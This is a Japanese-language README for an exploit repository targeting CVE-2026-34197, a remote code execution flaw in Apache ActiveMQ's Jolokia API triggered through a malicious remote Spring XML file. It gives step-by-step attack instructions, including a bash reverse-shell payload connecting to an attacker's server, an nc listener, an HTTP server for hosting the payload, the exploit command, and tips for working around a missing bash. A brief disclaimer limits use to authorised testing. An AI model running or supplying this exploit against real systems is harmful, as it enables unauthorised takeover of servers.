
CVE-2026-34197 用エクスプロイトスクリプト。Apache ActiveMQ の Jolokia API を標的とし、悪意のある Spring XML 設定を介してリモートコード実行を実現し、リバースシェル機能を備えています。
本リポジトリは、Apache ActiveMQ が公開する Jolokia API エンドポイント(/api/jolokia/)を利用したリモートコード実行 (RCE) 脆弱性の再現環境とエクスプロイトスクリプトを提供します。
addNetworkConnector 操作を呼び出し、ActiveMQ に悪意を持って作成されたリモートの Spring XML 設定ファイルを強制的に解析させることで、MethodInvokingFactoryBean を利用してシステムコマンドを実行します。
payload.py: エクスプロイトのメインスクリプト。動的な Broker 名を含む HTTP POST リクエストを送信します。payload.xml: 悪意のある Spring Bean 設定ファイル。内部にリバースシェルのコマンドペイロードが含まれています。pip install requests
apache/activemq-classic:6.1.0 Docker イメージ)。payload.xml)攻撃機上で payload.xml を開き、以下の部分を見つけます:
<value>bash -c 'bash -i >& /dev/tcp/您的云服务器IP/15000 0>&1'</value>
この中の IP を、ご自身のクラウドサーバーのパブリック IP に置き換えてください。ターゲット環境に bash がない場合は、ターゲット環境に応じて sh や他の実行方法に変更してください。
攻撃機(クラウドサーバー)でターミナルを開き、指定したポート(例: 15000)でリスニングします:
nc -lvvp 15000
注意: クラウドサーバーのセキュリティグループ/ファイアウォールで、インバウンド TCP 15000 ポートが開放されていることを確認してください。
攻撃機上で(payload.xml と同じディレクトリ)、ターゲットが XML ファイルをダウンロードできるように HTTP サーバーを起動します:
python3 -m http.server 9000
注意: 同様に、クラウドサーバーのセキュリティグループ/ファイアウォールで、インバウンド TCP 9000 ポートが開放されていることを確認してください。
ローカルマシン(または攻撃機)で payload.py を実行します。
このスクリプトは、コマンドライン引数でターゲット ActiveMQ の IP:ポート (-t) と、攻撃機が XML をホストする IP:ポート (-a) を指定できます。
python payload.py -t 192.168.0.1:8161 -a 8.8.8.8:9000
実行後、スクリプトはランダムな brokerName(例: rce_a1b2c3)を自動生成し、java.io.IOException : Network Connector could not be registered in JMX という名前衝突エラーを完全に解決します。
エクスプロイトが成功した場合:
python3 -m http.server 9000)に、/payload.xml への GET 200 リクエストの記録が表示されます。nc のリスニング側に、ターゲットマシンからのリバースシェル接続が届きます。/bin/bash コマンドがない(Alpine などの軽量ベースイメージでよく発生)。payload.xml 内の実行コマンドを /bin/sh に変更するか、wget/curl でスクリプトを配置してから実行してください。admin:admin)を追加してください。本スクリプトおよび説明は、許可を得たセキュリティテストおよび教育学習のみを目的としています。許可のない不正なテストに使用することは固く禁じられています。利用者は自身の行為に対して責任を負うものとします。